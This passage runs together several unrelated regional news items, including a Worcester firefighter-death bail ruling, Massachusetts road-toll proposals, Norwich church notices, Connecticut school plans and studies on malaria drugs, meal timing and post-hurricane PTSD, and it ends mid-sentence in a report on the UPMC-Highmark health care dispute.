a year, Lavoie said. While she says she expects some costs to go up, she says her pets care should not be taxed. The Massachusetts man charged with setting a fire that resulted in the death of a firefighter has been granted the opportunity to be released on bail while awaiting trial. The Telegram & Gazette reports that a judge this week set bail for 22-year-old Momoh Kamara at $500,000. The West Boylston man has been held without bail since pleading not guilty last month to murder, arson and other charges in the Dec. 9 death of Worcester firefighter Christopher Roy. Authorities say Kamara set the fire in a Worcester apartment building where he was once a tenant over a dispute with his former roommates. Kamara's attorney argued for $5,000 bail, saying his client is not a flight risk, has a history of mental illness and the prosecution's case is largely circumstantial. An apparent oil spill that flowed into a Massachusetts river Thursday night is now contained. The Hanover Emergency Communications Center received a 911 phone call just before 7:30 p.m. for an unknown type of spill in the Indian Head River on Broadway at the Hanover/Hanson Town Line. When firefighters arrived, a large amount of "an unknown fluid with a visible sheen" was flowing down the river from the area of Factory Pond. Authorities requested additional crews as well as help from the Massachusetts Department of Environmental Protection (DEP). While deploying booms to contain the leak in the river, a search of properties in the area found heating oil leaking from tanks in the basement of nearby Country Ski and Sport, Inc. Crews were able to contain the leak to prevent it from further flowing into the river. At that point, the DEP said just over 100 gallons of fuel leaked from the tanks and into the containment area. After moving downstream just over a mile, crews found the oil had traveled past the containment area so another area was set up at Luddam's Ford to try and prevent the oil from reaching North River. By about 11:30 p.m. the incident was cleared. The DEP plans to oversee further clean-up efforts. Police located the caregiver an elderly woman who arrived in Holliston, Massachusetts Friday morning, but didn't know how she ended up in the town. Anne Whitley, 86, of the Jamaica Plain area, drove her vehicle to a Holliston business at 8 a.m. and was unsure of her whereabouts, according to police. Police eventually located Whitely's caregiver. New Hampshire police are asking for the public's help in locating a missing man last seen earlier in the week in Nashua. Michael McClain, 29, of Manchester, was last seen around 2 a.m. Sunday at Club Tropical. Police said friends who had been out with McClain Saturday night looked for him but were unable to find him. They also told police McClain's car was still parked on Orange Street and they were unable to reach him by phone. A description of what McClain was last wearing was not provided. Anyone with information on McClain's whereabouts is urged to contact Manchester police at 603-668-8711. Expanding road tolls across Massachusetts and to the state's borders could be a way to generate new revenue to address growing transportation woes, Senate President Karen Spilka said Thursday. In remarks at a Greater Boston Chamber of Commerce breakfast Thursday, Spilka, an Ashland Democrat, told business leaders that tolls similar to those along Interstate 90 deserve consideration for other places. "Simply put, and I put this out there, if tolls are a good idea for my district, my region, I believe we should explore the possibility of expanded tolling, including possibly at our borders," Spilka said. "Our best ideas won't matter if we can't find a way to make a 21st century transportation infrastructure a reality and find a way to pay for it." Spilka also mentioned congestion pricing, an idea other lawmakers on Beacon Hill have frequently raised, as a way to address worsening traffic and infrastructure. Echoing a similar comment made last month by House Speaker Robert DeLeo, Spilka told the audience that no proposal should be "off the table." The Legislature, she said, must soon take up "an honest and clear-eyed conversation about how we will pay for the proposed solutions to our complex challenges." Her remarks came a day after the release of a MassINC poll finding a majority of employees across the state have experienced anger at delays on their daily commutes. Gov. Charlie Baker, speaking in the wake of the poll on Wednesday, said he does not believe any new taxes are necessary to improve transportation, citing his administration's plan to invest historic levels of funding in the next five years. "I don't believe that raising taxes is the answer to this problem at this point in time," he said this week. DeLeo said last month that all transportation revenue options are still "on the table," although representatives do not plan to debate the topic until some time later this year. Spilka did not outline a timeframe for taking up road tolls or other forms of transportation revenue. Sen. Brendan Crighton filed a bill calling for a Department of Transportation study about expanding tolls, but no action has been taken on that legislation since it was referred to committee in January. In an interview with the News Service after the event, Spilka said it was "premature" to say how the Senate plans to approach the transportation revenue conversation. "I'd like to defer that question for a few weeks or a month or so until we dive into this a little bit more," she said. "There are a lot of needs. I'm not certain how you solve those with just fixes, not counting revenue. I don't know if it's possible at this point." Spilka said Joint Committee on Transportation Co-chair Sen. Joseph Boncore who himself has filed bills calling for peak pricing on ride-hailing apps and for congestion tolls will lead lawmakers in studying the issue. She also pointed to a new Senate working group led by Sen. Adam Hinds that will take a comprehensive look at the state's tax code with a goal of informing legislation for the 2021-2022 session. It's not clear if lawmakers view the House budget being debated this week as a "money bill," a designation that would allow the Senate to add in new revenues when they take it up next month. Spilka said Thursday she is not sure if the current version is a money bill and is awaiting the final House vote. The House on Thursday added a rider to its budget expanding a land conservation tax credit. Spilka's speech focused on other key issue areas beyond transportation, too. She announced that the Senate budget would also include a new $10 million fund for mental health initiatives, and she told attendees not to be surprised if the Senate's budget includes "record levels" of Chapter 70 education funding - a pool of money that rises in each state budget. Spilka would not say exactly what her budget's education funding would be, but she touted the Senate's previous votes in favor of fully implementing reforms recommended by the Foundation Budget Review Commission and said the chamber would "put its money where its mouth is when it comes to education." "If you look at the last few years, this has been the Senate priority," Spilka told the News Service. "I believe it will be this year as well." She tied together her remarks by suggesting that a wide range of legislative priorities can all be considered through two lenses: climate change and economic development. To drive home the latter point particularly relevant for an audience of hundreds of small and large business leaders Spilka described the cost carried by many of the region's most significant challenges. Bad commutes leave workers dissatisfied and willing to look elsewhere for jobs, she said, education inequality leaves a portion of the population unable to succeed financially, and a Massachusetts Taxpayers Foundation study estimated the state loses $2.7 billion a year in business productivity as a result of the opioid epidemic. "The key challenge before us, I believe, is safeguarding and maintaining the economic vibrancy and vitality of our state," Spilka said. "Thats why I believe that it's very important to emphasize that every policy issue that we face this session is also an economic development issue." Much to the delight of residents in one New Hampshire neighborhood, a Raymond homeowner has been ordered by a judge to pick up thousands of printers and boxes that are littering his yard. The owner of the Maclarnon Road home must pick up the trash within 10 days or let the town take over. For the last 60 years, neighbor Bob Gaumond has loved looking out the window over his kitchen sink. But not anymore. "I never could've imagined that happening. Never," Gaumond told NBC10 Boston Tuesday referencing all the garbage in his neighbor's yard. "It's terrible." Last spring, Gaumond watched as several shipments of printers were dropped off at the home. Salem Health Inspector Brian Lockard says the property owner, Michael Bates, was removing the cartridges and selling them off as a way to make money. It was initially a zoning violation for running a business out of a residence, but when Bates failed to remove the 2,000 leftover printers, it became a health violation. Lockard says he hasn't seen anything like it in 30 years. "Never 2,000 boxes of printers, yeah, it's very unusual," he said. The case went to court, and this week, a judge ordered Bates to clean it all up or else the town will have the right to do it. NBC10 Boston tried to reach Bates for comment, but he never responded. Lockard says cleanup could cost upwards of $18,000 and Bates likely doesn't have it. "He's very apologetic, very nice, but he just doesn't appear to have to resources," Lockard said. For the Callahan kids who live right next door, they'll have to deal with it through April vacation week, but their mom is hoping the next time her kids are home from school, the printers won't be a problem. "Come summer, hopefully it will be cleaned up and we can enjoy our backyard again," said Nicole Callahan. Gaumond is looking forward to it, too. "I'm just grateful and happy," he said. If Bates doesn't comply within those 10 days, the town will hire a contractor and cleanup the property. Bates will still be responsible for the bill. Maine authorities are investigating officer-involved use of deadly force in Medford, according to the attorney general's office. A spokesperson from the AG's office told WCSH-TV that Partridge Lane, off of Medford Center Road, is closed for investigation. Multiple law enforcement agencies have responded to the scene. A sergeant with Piscataquis County Sheriff's Office told WCSH-TV there is no threat to the public. No other information was available. A suspected OUI driver was arrested after he allegedly crashed into two cars and caused one to roll over in Manchester, New Hampshire. Police said Carl Jacques was arrested late Thursday after officials responded to a rollover crash near Canal and Spring Streets. Their investigation revealed the suspect was driving north on Canal Street when he and another car collided. The impact caused the second vehicle to roll over, causing minor injuries to the driver. Police said Jacques continued to drive north when he crashed into a second car in the area of Kidder and Bedford Streets. It is unclear if the second driver suffered any injuries. Jacques again continued to travel north after the second crash but was later located and arrested, according to Manchester police. Jacques was charged with operating under the influence, one felony charge of conduct after an accident and one misdemeanor charge of conduct after an accident. Authorities did not provide details on a future arraignment date. The investigation is ongoing. Anyone with information on the crashes is asked to contact the Manchester Police Department at 603-668-8711 and reference case #19-5721. One man has died after a fire broke out in a two-family house on 4th Street in Bristol early Thursday morning, according to police officials. A resident said his brother tried to get to the man, but he was not able to. The fire started around 2 a.m. and firefighters used a ladder to rescue one person and they rescued another from the first floor. Two other people were able to get out with help from Bristol Police officers. Later, a man in his 60s died in the fire and his body was removed from the residence. Another man who lives in the building and did not wanted to appear on camera said he was alerted to the fire when he saw an orange glow Thursday morning and ran to get his brother. The brother ran downstairs and heard another man yelling for help, but couldnt get to him. Officials said the man who died was in his 60s. His name has not been released. Firefighters did manage to rescue a dog belonging to one of the residents. The cause of the fire is under investigation but officials believe it started on the first floor near the rear of the house. The Bristol fire marshal and state police fire marshal are investigating. The cast of the Theatre Royal pantomime, Dick Whittington and his Cat, will take part in the traditional pantomime carol service at St Peter Mancroft church in Norwich tomorrow (December 23) and everyone is welcome to attend. The cast of the Theatre Royal pantomime, Dick Whittington and his Cat, will take part in the traditional pantomime carol service at St Peter Mancroft church in Norwich tomorrow (December 23) and everyone is welcome to attend. Ed Sheeran and LadBaby boost Waveney foodbank Pop superstar Ed Sheeran and Christmas sausage roll song group LadBaby paid a surprise visit to Waveney Foodbank near Eye earlier today. Read more Dilham musician recalls Josephs letter home What might Joseph had written if he had sent a letter home from his experiences during that first Christmas time? Read more The true gifts of Christmas Regular columnist Ruth Lilley reflects of the gifts which God gave us at that first Christmas, and continues to make freely available to us. Read more An Advent reflection from Bishop Alan Hopes In his Advent Reflection, the Bishop of East Anglia, the Rt Rev Alan Hopes says: "God is not distant, he is very close to us. In fact, in Jesus, God is one of us. Read more YMCA Norfolk needs a Senior Wellbeing Engagement Worker YMCA Norfolk is looking for a Senior Wellbeing Engagement Worker, to build relationships of trust with vulnerable and marginalised youth people within the community. Read more Norwich Foodbank needs an Administrator Norwich Foodbank is looking for an Administrator to help ensure the Christian charity can continue to serve people in food crisis. Read more Looking beyond the Nativity story Andrew Frere Smith reminds us of the hardships that were faced by the family of baby Jesus at that first Christmas. Read more Norwich churches offered Christmas food hampers Christian youth project ENYP is offering Norwich churches the chance to join its successful food poverty initiative and receive Christmas food hampers to give out. Read more Salvation Army gifts bring joy to Norwich children Salvation Army volunteers in Norwich have packed a record number of Tins and Toys boxes for their Christmas giveaway this year. Read more Covid stops Yarmouth Minster Christmas lunch Fears over the increasing spread of Covid 19 have caused the Open Christmas event at Great Yarmouth Minster on Christmas Day to be cancelled this year, but those who would have attended will be receiving goodie bags instead. Read more Norwich church requires an Administrator Holy Trinity church in Norwich wants to appoint an Administrator to help it introduce the gospel of Jesus Christ to the people of Norwich. Read more Acle churches unite for carols The churches in Acle held their annual carol concert at the Methodist Church last Sunday, and were evidently visited by the Man in Red! Read more Norwich church giving out 150 food hampers Gateway Vineyard church in Norwich is giving 150 food hampers to individuals and families across the city as part of the Love Christmas initiative. Read more Norwich church invite to sing on Saturday On Saturday December 18, Norwich's oldest chapel close to the city is holding a 'sing on Saturday' at 3pm. There is plenty of space inside to join together to sing some well-known hymns. Read more Norwich church gives city a Wonder-ful show Soul Churchs free Christmas production, The Wonder, was back bigger and better than ever this year, welcoming thousands of people from Norwich and beyond, to enjoy this Christmas extravaganza. Read more Do you have any forgiveness blockages? Jane Walters has discovered a hidden blockage in her vacuum cleaner, which needed to be removed. Read more Tributes paid to amazing Eileen who was 110 Tributes have been paid to amazing St Georges Norwich parishioner and former Test cricketer, Eileen Ash, who was Norfolks oldest woman and has died at the age of 110. Read more The Norwalk Symphony Orchestra, under the baton of Jonathan Yates, will cap its 2018-19 season with a full-scale performance of Beethovens Ninth Symphony on Saturday, May 18, at The Norwalk Concert Hall. Performing in the Ode to Joy movement at the end will be Amy Owens, soprano; Ann Quintero, mezzo-soprano; Peter Drackley, tenor; and Matt Curran, bass, along with The Mendelssohn Choir of Connecticut, under the direction of Music Director Carole Ann Maxwell. ANSONIA Derbys gain appears to be Ansonias loss. Big Y Supermarket, which has anchored the citys downtown shopping center since 1996, will be closing once the chains World Class Market opens in the former Walmart store on Derbys Route 34. Alan Schwartz of Glen Equities, which owns the Ansonia Plaza Center, 403 Main St., said Friday that Big Y told him it is relocating to Derby where it has been been converting the former Walmart building since late 2017. Opening date has been estimated as November. Im planning on re-tenanting the property. Beyond that, I have nothing more to say, Schwartz said. He declined to say if his new tenant would be a supermarket. The closing was not welcoming news to shoppers like Karynn Weinstein of Seymour and Mary Jane Liddel of Shelton, who had shopped at the Ansonia store Friday morning. The people here are nice. They give good customer service and the store is not overwhelming, said Weinstein. I dont know if Id drive to Derby, Liddel said. I know this is convenient for people who rely on public transportation. Its going to be missed by a lot of people who walk here or use public transportation to shop here, said Carmela Blackwood. I live near the store they are building in Derby, so I would go there. Big Ys departure doesnt leave the city without a market. Stop and Shop on Division Street and Shop Rite and Aldi on Pershing Drive, about a mile from the Ansonia Big Y, remain. The new Big Y World Class Market is about three and a half miles from the Ansonia store. There is also a Big Y World Class Market on 401 Bridgeport Ave. in Shelton about four miles from the Ansonia store. Officials from Big Y, which is also building a World Class Market on the Boston Post Road in Milford, did not immediately return calls for comment Friday. Everybody needs to be patient, Ansonia Mayor David Cassetti said Friday. If there is a change, Alan Schwartz has assured me hell have someone in there. We are working with him. A new supermarket would fit in perfectly there. The Big Y Supermarket fills about 65,000 square feet of the Ansonia Plaza Shopping Center which also includes a Bobs and Marshall and Home Goods. The other tenants in the center are thriving, said Sheila OMalley, the citys economic development director. We are confident about the positive opportunity this presents for the Plaza, the city and its residents. Big Y just renovated the supermarkets space in 2017. It pays $37,897.72 annually in taxes. Its equipment is assessed at $1,051,250. Its loss would affect the citys $991,285,843 Grand List. If store closes in November, Big Y would still owe taxes due July 2020 and January 2021. Its Big Ys decision to do what is best for them, said John Marini, the citys corporation counsel. Its our job to work with the shopping centers owner and find the right replacement. Looking to the future Marini and OMalley said a large downtown grocer to replace the Big Y would be beneficial to plans to redevelop the ATP, Palmer and former Farrel Processing Lab buildings into residential apartments on the upper floors and retail below. On Monday, there is a 6:30 p.m. public hearing before the citys Planning and Zoning Commission involving plans to convert 158 Main St., the current home of the Valley Independent Sentinel, and 200 Main St., home to Greg Stamos law office, Fletcher Thompson architects and Tom Watt Sales as well as others, into housing and offices. Were working with the tenants, said Tonino Mavuli, whose TM158 LLC and TM200 LLC own the two buildings. Im sure well find them space. Mavuli said the buildings are within walking distance of the train station and the bus stops for Bridgeport and New Haven. Jaren Heon, the Planning and Zoning chairman, said this is the first development of its kind under the newly approved Transit Oriented District which involves developments near mass transportation. The commission could vote on Mavulis projects following Mondays public hearing. Mavuli said the loss of the nearby Big Y Supermarket which is within walking distance from his buildings would not have an impact on his plans. We like the area and we think there is a need for housing downtown, he said. NEW FAIRFIELD Constructing a new high school and an early learning academy to replace Consolidated School are emerging as the top options to deal with the problems in the districts buildings, but other ideas are still on the table. Combined, these projects would cost between $109 million to $112 million, but those figures do not include state grants the town hopes to receive. The district has not decided whether both projects would be completed simultaneously. These grants would mean it would be cheaper or potentially only a few thousand dollars more to build new schools, rather than to renovate or complete isolated projects, options which are also being considered. Most of the leaders in the town agree (building) new is probably the best, most efficient and effective way to deal with the older structures and to provide a plan and school buildings that will really take the town 30, 40 years into the future, Superintendent Pat Cosentino said. Town leaders also know that they need community input because it is a large amount of money. To get this feedback, the district is offering tours of Consolidated School and the high school at 6:30 p.m. Tuesday and a public forum at 7 p.m. Thursday. The school board expects to decide which option to pursue at its 7 p.m. May 7 meeting. The goal is to apply for a state grant by June 30, although the board could chose to apply the following year. Conditions in Consolidated and the high school are poor, experts with QA+M Architecture said at a meeting this week when they presented the options. Both schools are too big for declining enrollment, need new roofs, and lack energy efficiency, flexible space and handicap accessibility, among other problems. There is no beating around the bush that we need to do something, board member Edward Sbordone said at the meeting. The numbers dont lie. If we do nothing, its going to cost us so much more in the long run. Its going to be so much more detrimental to the children. Under one plan, a new high school would be built on the existing campus and then the old one would be demolished, but the pool and gym would remain for community use. This would cost $79.3 million if the district meets its goal to apply for a state grant by the end of June. That grant would bring the cost to the town down to $59.5 million. If the town applied the following year, the project is estimated at $81.3 million because construction costs would rise. The cost to the town would then be $60.9 million with the grant. With both options, the town could argue for higher reimbursement, said Rusty Malik, a principal with QA+M Architecture. Altering the high school would cost $70.2 million, but the town would only receive $1.9 million in reimbursement, QA+M Architecture estimated. To complete necessary improvement projects, such as roof replacement and handicap accessibility, would cost $59.2 million. But those projects would be completed over several years, so costs would rise, and little state reimbursement is available, Malik said. Meanwhile, the district is considering demolishing Consolidated School, where pre-kindergarten through second grade students attend, and moving those students into a new academy at the Meeting House Hill School campus. Second-graders would move into a wing at Meeting House, while an extension would be built onto that school for the younger grades. This would cost $30.1 million if the district applied for the state grant this year, but $30.7 million the following year. With the state grant, the cost to the town would be $23.4 million this year and $23.8 million next year. Altering would cost $37.9 million, with town spending $35.8 million, pending a state grant. Isolated projects are estimated at $34.5 million, but this figure would rise over the years, too, Malik said. Building new would be better for students since they could stay in the old schools until the new ones are complete, said Angela Cahill, of QA+M Architecture. The littlest children in your community should not feel the effects of renovation, she said. Its very, very disturbing to them and their learning. Numerous New Milford residents recently attended the towns first Patriots Day. The special day, held last Saturday, was established under the guidance of Mayor Pete Bass and Bonnie Butler, regent of the Roger Sherman Chapter National Society Daughters of the American Revolution. Several individuals and organizations participated, including state DAR State Regent Elect Christy Hendrie, Connecticut Society of the Children of the American Revolution State President Dylan Pojano, the 6th Connecticut Regiment, Mike Bird and the Governor Oliver Wolcott Sr. Branch 10 Sons of the American Revolution, New Milford Police Department Honor Guard, Ezra Woods American Legion Post 31, John Norcross and Boy Scout Troop 432 and Patrick Maguire. The Patriot of the Year Award was given posthumously to Lt. Col. Timothy Brooks. It was awarded to the Brooks family. Brooks, a native of New Milford who graduated from New Milford High School, died of cancer May 29, 2004, at the age of 36. Brooks, who had been a member of Boy Scout Troop 432, graduated from the U.S. Military Academy at West Point. He served in Afghanistan as the Battalion Operations Major at Division Headquarters for the officer in charge of all U.S. ground troops. Most recently, he had been chief of future operations and force modernization for the Third U.S. Infantry Regiment at Fort Myer. Among his awards was the Legion of Merit and a Bronze Star for his work in Afghanistan. The Prevention Council of Bridgewater, Roxbury and Washington will distribute free copies of the New York Times best-selling book Beautiful Boy to residents who wish to read it. In addition, a screening of Beautiful Boy will be shown May 5 at 4 p.m. at Shepaug Valley School in Washington Danbury Music Centre / Contributed photo Danbury Centre Strings concludes its season Sunday, April 28, at Broadview Middle School, with a performance featuring music by Tchaikovsky, Borodin, Warlock and Bernstein, among others. Led by Music Director Glen Lebetkin, at the Danbury Music Centre, Danbury Centre Strings provides an ensemble experience for string players. Members study standard string repertoire appropriate to their level of playing and develop playing technique, listening skills, orchestral technique and ensemble experience. Many of the DCS alumni go on to perform in the Danbury Community Orchestra and Danbury Symphony Orchestra. The powerful medicines known as artemisinins have plenty of mileage in them in the global fight against malaria, and concern about partial resistance has been overstated. That's the message in an opinion piece published by scientists and doctors to coincide with World Malaria Day. Professor Sanjeev Krishna of St George's, University of London, collaborated with Chinese scientist and Nobel Laureate Tu Youyou, who originally discovered artemisinin in 1977, and other colleagues in the Perspective piece for New England Journal of Medicine. Artemisinin and its derivatives are known for their ability to swiftly reduce the number of parasites in the blood of patients with malaria, and have saved millions of lives worldwide. The WHO recommends artemisinin-based combination therapies, or ACTs, as the first and second line treatment for straightforward malaria as well as for chloroquine-resistant malaria. Partial 'artemisinin resistance' has been confirmed in some countries in the Greater Mekong Subregion, including countries such as Cambodia, Myanmar, Thailand and Vietnam. Concerns about artemisinin resistance were raised by researchers working in the area and necessitated a response from the WHO last year. In their article Professor Krishna and Tu Youyou point out that partial artemisinin resistance is a delay in the clearance of malaria parasites from the bloodstream following treatment with a combination therapy. Since the parasite resistance only affects one stage of the malaria parasite cycle in humans - the 'ring' stage - such resistance can be overcome by using the correct dosing of artesunate, for example for 7-10 days, rather than three days. If this is used artemisinins will be effective even when early parasite clearance is delayed. The authors also note that treatment failures with ACTs can often be directly attributed to the partner drug and can be addressed by changing that partner drug. So for example, mefloquine plus artesunate can be switched to DHA with piperaquine if the former is failing. Finally, say the authors, a next generation antimalarial that compares favorably to artemisinins in potency, safety and risk of resistance is unlikely to emerge very soon. Professor Krishna said: "It remains entirely possible to rely on artemisinin and its partner drugs to eliminate malaria in the Greater Mekong Subregion. We see nothing to prevent simple adjustments to existing regimens, including intelligent use of combinations of drugs, from maximizing the potential of our strongest weapon against malaria; and we believe it is urgent for these actions to be implemented before any new complications emerge." Weight watchers worldwide need to not only be careful about what to eat but also about the timing of the food intake finds a new study. The study is published in the latest issue of the journal Cell and is titled, Insulin/IGF-1 drives PERIOD synthesis to entrain circadian rhythms with feeding time. The research finds that late night meals may desynchronize the body clock. The study was funded by the Medical Research Council (MRC). Image Credit: Africa Studio / Shutterstock Researchers from the University of Manchester, for their study looked at cultured cells as well as mice for their experiments. They explain that food triggers the release of insulin from the pancreas to help the body use the sugar intake in the food. When food is taken at a different time the insulin release is also seen at a wrong time. This can throw the body clock into a tizzy and affect weight loss and gain say the researchers. Dr David Bechtold, a senior lecturer at the university and one of the study authors said in a statement, We already know that modern society poses many challenges to our health and well-being - things that are viewed as commonplace, such as shift-work, sleep deprivation, and jet lag, disrupt our body clock. It is now becoming clear that circadian disruption is increasing the incidence and severity of many diseases, including cardiovascular disease and type 2 diabetes. The team explains that the advent of electricity has allowed humans to work round the clock and thus the circadian rhythm can be disrupted. They add that the stress hormone of the body cortisol can peak around 8 AM and this can help wake a person. It falls to its lowest limit at around 3AM. Sunlight usually triggers the peak rise of the cortisol rather than the alarm. By mid morning, explain the researchers, the levels of cortisol start to lower while adrenaline and serotonin levels start to rise. This elevates level of energy and mood. The adrenaline leads to feeling of hunger and prompts a person to eat. As the levels of cortisol start to drop, there is tiredness by afternoon. Now the serotonin in the body turns into melatonin and this can make one feel sleepy. The levels of blood sugar also decline to the minimum at around 3AM when the cortisol levels are low. This balance can be disrupted if there are late night snacking or eating at other times than normal say researchers. The effects can be seen on the digestion, sugar levels, skin, stress levels etc. The new study finds that insulin hormone as well as Insulin Like Growth Factor 1 (IGF-1) can synchronize with the circadian rhythms. As they are released, they increase the levels of certain proteins called the PERIOD clock proteins. In their experiments, when they altered the timing of insulin release, there was an alteration in the circadian rhythm find the researchers. They noted that this disruption led to alteration in the behaviour of the mice and also altered their body clocks and genetic expression. The team working from the MRC Laboratory of Molecular Biology (LMB) in Cambridge and the University of Manchester initially saw the effects on cultured cells and then repeated the effects on mice. In the mice they fed them at odd hours of the day when the mice were resting. This led to disruption of their natural circadian rhythms. Dr John O'Neill, research leader at the MRC LMB in Cambridge explained, At the heart of these cellular clocks is a complex set of molecules whose interaction provides precise 24-hour timing. What we have shown here is that insulin, released when we eat, can act as a timing signal to cells throughout our body. Sunlight as well as food can act as signals to the body clock he explained. Dr Priya Crosby, a postdoctoral scientist at UC Santa Cruz and first author of the study added in explanation, Our data suggests that eating at the wrong times could have a major impact on our circadian rhythms. There is still work to do here, but paying particular attention to meal timing and light exposure is likely the best way to mitigate the adverse effects of shift work. Even for those who work more traditional hours, being careful about when we eat is an important way to help maintain healthy body clocks, especially as we age. Other recent studies that have explored the effects of irregular food intake time and health effects Authors A. Paoli and colleagues from the Department of Biomedical Sciences, University of Padova, Italy, collaborated with researchers in Texas to find the role of fasting and meal timings on health. Their study titled, The Influence of Meal Frequency and Timing on Health in Humans: The Role of Fasting, was published last month in the journal Nutrients. The team looked at evidence that compared high meal frequency (six or more meals per day) with low meal frequency ( 1 to 2 meals a day) and found that the former was more harmful for health. They explain that the main factor here was the time period between two meals. They concluded from their findings that health benefits could be obtained from; A regular meal pattern Healthy breakfast consumption of a higher energy proportion at the start of the day Reduced frequency of meals (1 to 2 per day) Regular fasting periods They add that these measures can provide, physiological benefits such as reduced inflammation, improved circadian rhythmicity, and also stress resistance, and modulation of the gut microbiota. In another study the researchers led by S. Viela from Universidade do Porto from Portugal looked at food timing in a day and effects on childhood obesity. They used the term chrono-nutrition to describe the effects of food timing on the circadian rhythm. Their study titled Chrono-Nutrition: The Relationship between Time-of-Day Energy and Macronutrient Intake and Children's Body Weight Status, was published in last month in the J Biol Rhythms. The authors looked at effects of macronutrient intake in four year old children after following them up until they were 7 years of age. A total of 1961 children were included in the study from the Generation XXI study data. Food diaries were obtained for the 4 year old children and weight was measured at 7 years of age. Results showed that higher energy intake at lunch and supper at the age of four was associated with being overweight or obese at the age of 7 years. There was also a risk of obesity and weight gain among children who skipped breakfast or ate their first meal late in the day. This link was independent of the childs eating behaviour or appetite. Back in Dec 2018 Japanese researcher, J Yoshida and colleagues from Department of Public Health, Okayama University Graduate School of Medicine, Dentistry and Pharmaceutical Sciences, Japan, studied the effects of late night snacking on metabolic syndrome. Their study titled, Association of night eating habits with metabolic syndrome and its components: a longitudinal study, was published in the latest issue of the journal BMC Public Health. They looked at the effects of a dinner immediately before bed and/or having snacks after dinner on obesity and metabolic syndrome risk. Their study population consisted of 8153 adults aged between 40 and 54 years. Their results showed that snacking at night was associated with metabolic syndrome in women. Metabolic syndrome comprises of type 2 diabetes, high blood pressure, obesity and raised blood cholesterol. Night snacking was associated with raised blood cholesterol in both men and women, the researchers found. Food shortages, damaged homes, fear of death, loved ones leaving. The cumulative stresses of Hurricane Maria contributed to thousands of schoolchildren developing symptoms of post-traumatic stress disorder, or PTSD, in Puerto Rico, according to a study published Friday. The study in JAMA Network Open found that 7.2% of the students reported "clinically significant" symptoms of PTSD. More girls tended to show signs of PTSD than boys. Researchers surveyed 96,108 public school students five to nine months after the 2017 hurricane. The cohort included youth in third through 12th grades across different regions of the island. The Puerto Rico Department of Education which partnered with the Medical University of South Carolina for this study is using the data to target areas with the greatest need for mental health services, the study said. Maria, which struck the island as a Category 4 hurricane in September 2017, killed an estimated 2,975 people within the American commonwealth. Residents struggled to access clean water and some remained without electricity nearly a year after the storm. It had dramatic effects on the students. Nearly 46% said their home was damaged. More than 32% experienced shortages of food and water. And roughly 58% reported they had a friend or family member leave the island. The effects did not vary based on where the students lived or their families' income. Rosaura Orengo-Aguayo, a clinical psychologist at the Medical University of South Carolina and the study's lead author, said the findings show the breadth and indiscriminate nature of the devastation. That just speaks to how big Maria was, how destructive Maria was island-wide," she said. "And it didnt matter what your income was or your location was on the island you were affected. Similar problems have been reported among children in other parts of the Caribbean also affected by hurricanes in 2017. Congress is at a stalemate in passing an aid bill that would send more resources to Puerto Rico and other areas affected by natural disasters. President Donald Trump has expressed his reluctance to provide more money to the island. The trauma caused by a natural disaster can manifest itself in a variety of ways, said Frank Zenere, district coordinator of the crisis management program at Miami-Dade County Public Schools, who was not associated with the study. Family units can break down through divorce or domestic violence, he said. Young children can revert to thumb-sucking or wetting the bed. Teens sometimes try to exert control by acting out or turning to drugs to self-medicate. To be sure, Zenere said, most people who survive a natural disaster do not develop long-term mental health conditions. Theyre distressed by it. It has impact on their life yes," said Zenere, who helped coordinate mental health efforts in Puerto Rico in Maria's aftermath. "But the great majority are not going to develop psychiatric illness." Zenere said the differences by gender found among students reporting symptoms of PTSD align with existing literature boys are more likely to act out, while girls are most likely to show depression and anxiety. The study's authors said the loss and disruption caused by Maria contributed about 20% toward the youth's symptoms of PTSD. While the researchers did not measure what other circumstances played a role, Orengo-Aguayo said, other "protective factors" like eventually securing basic needs and community support influence resiliency. Notably, Orengo-Aguayo said, the level of PTSD symptoms reported in the study is lower than what was expected. Some studies show up to a third of children will develop chronic symptoms after surviving a natural disaster, the authors wrote. Familial ties or the fact that the study was conducted several months after the storm could have played a role in the children's resilience, she said. Or the children might still be attuned to trying to survive. What we might be seeing is that children at that stage were still focused on getting access to basic needs," she said. Regan Stewart, a clinical psychologist at the Medical University of South Carolina and a study co-author, said the team has secured two grants from the federal Substance Abuse and Mental Health Services Administration to continue work on the island for at least three more years. It plans to use telehealth to expand access to mental health services and train school staff and mental health professionals on trauma-focused interventions. However, public schools in Puerto Rico are burdened by economic constraints. The island already facing a budget crisis closed 300 schools over the past two years due to a lack of enrollment exacerbated by Hurricane Maria. Zenere said school staff members are among those who need to be cared for first, because theyre going to be the glue that keeps it together for that classroom of 20 children or so. Cancer survivors Evalyn Bodick, 74, and Barbara Marsic, 63, are caught in the crossfire of one of the fiercest health care fights in the country. They fear they are about to lose access to the doctors they say have kept them alive. The reason: the latest skirmish in a nearly decade-old battle between two large health systems in Pennsylvania, the University of Pittsburgh Medical Center (UPMC) and Highmark Blue Cross Blue Shield. Both are nonprofit and both sell health insurance as well as provide care. Only a handful of companies nationwide do both. The dispute headed toward a court date in May has implications far beyond Pennsylvania's borders. Among the issues at stake are consumers' access to care, especially costly specialty treatments; the disruption people experience when forced to switch doctors while changing insurance plans; the pricing power of ever-larger health care monopolies; and how much leeway a state has to oversee those companies' practices. In the meantime, Highmark customers find themselves in danger of paying more for medical care, in cash, or finding new doctors and hospitals to treat life-threatening conditions. Pennsylvania's attorney general, Josh Shapiro, has filed motions with a state court to intervene. A court ruling in his favor will signal to insurers and providers nationwide that states may choose to step in to protect consumers if a health company gains too much market power or consumers' access to care is otherwise threatened. A UPMC win could embolden health care companies to use dominant market positions to compete even more aggressively. The feud between the health care giants began in 2011 over pricing, payment rates and competition, roiling medical care in western Pennsylvania. The state imposed a five-year legal truce in 2014, but that ends June 30. Shapiro is asking the court to compel both companies to extend the accord and contract with each other, thus allowing consumers with insurance through either company to see providers owned or affiliated with the other company on an in-network basis. And he requested that the courts empower the state to establish a mediation process if the companies can't agree on contract terms. Shapiros initial motion was turned down early this month by a court that said the June 30 deadline should stand because it had already been ratified in earlier legal decisions. But the state Supreme Court on Monday agreed to hear arguments in the case. Health experts say Shapiro's actions are unprecedented. "No other state attorney general has gotten this deeply involved in a health care dispute," said Martin Gaynor, a professor of economics and health policy at Carnegie Mellon University in Pittsburgh and former director of the Bureau of Economics at the Federal Trade Commission. "He is asking for a major change in the way this marketplace works. If the litigation goes a certain way, it will certainly resonate nationally. It's a big deal." A Battle Of Titans UPMC is one of the nation's premier hospital systems, famous for pioneering work in organ transplants. It owns or operates 40 hospitals, 700 doctors' offices and outpatient clinics, and several well-regarded cancer treatment centers. Its insurance business covers 32% of the insured residents in western Pennsylvania. With 87,000 employees, UPMC is also Pennsylvania's largest non-governmental employer. Highmark is among the 